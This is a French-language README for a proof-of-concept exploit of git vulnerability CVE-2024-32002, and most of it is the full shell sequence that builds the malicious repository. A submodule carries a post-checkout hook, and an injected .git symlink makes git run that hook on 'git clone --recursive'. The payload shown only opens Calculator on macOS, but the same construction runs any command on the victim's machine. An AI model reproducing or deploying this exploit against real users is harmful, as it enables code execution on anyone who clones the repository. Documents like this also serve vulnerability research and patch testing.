
Une preuve de concept pour la vulnérabilité git CVE-2024-32002
Une simple preuve de concept qui exécute Calculator (exemple macOS uniquement). Lors de l'utilisation de la commande git clone --recursive, ce dépôt va également récupérer https://github.com/markuta/hooky, qui contient un script post-checkout. Basé principalement sur le fichier de correctif de commit t7406-submodule-update.sh.
Remarque : Les versions antérieures à
2.45.1,2.44.1,2.43.4,2.42.2,2.41.1,2.40.2et2.39.4sont vulnérables.
git clone --recursive github.com/markuta/CVE-2024-32002
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"
# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink
Plus d'informations sur la vulnérabilité sont disponibles ici et ici.